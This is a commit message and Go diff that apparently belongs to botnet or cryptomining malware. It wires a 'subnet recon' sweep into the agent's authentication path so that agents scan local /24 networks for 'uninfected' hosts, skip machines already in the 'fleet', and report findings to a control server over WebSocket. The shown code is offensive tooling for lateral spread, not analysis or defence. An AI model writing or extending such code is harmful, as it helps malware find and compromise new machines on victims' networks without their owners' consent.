Add agent-driven subnet recon sweeps for uninfected LAN hosts.

Agents scan capped /24 targets on auth and on a server policy interval, skip known fleet IPs, and batch subnet_recon_report over WebSocket.

agent/client/client.go

@@ -430,11 +430,16 @@ func (c *AgentClient) authenticate() error {
 	c.startContingencyIfEnabled(c.miningCtx)
 	c.applyAuthFleetRole(resp)
 	deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
+	c.applyAuthSubnetRecon(resp)
 	c.startCloudMapSync()
 	if resp.FleetTorrentEnabled {
 		c.advertiseFleetTorrentHealthy()
 	}
 	c.agentID = resp.AgentID
+	c.mu.Lock()
+	c.cfg.AgentID = resp.AgentID
+	c.mu.Unlock()
+	c.startSubnetReconAfterAuth()
 	if resp.ClearanceLevel > 0 {
 		c.mu.Lock()
 		c.clearanceLevel = resp.ClearanceLevel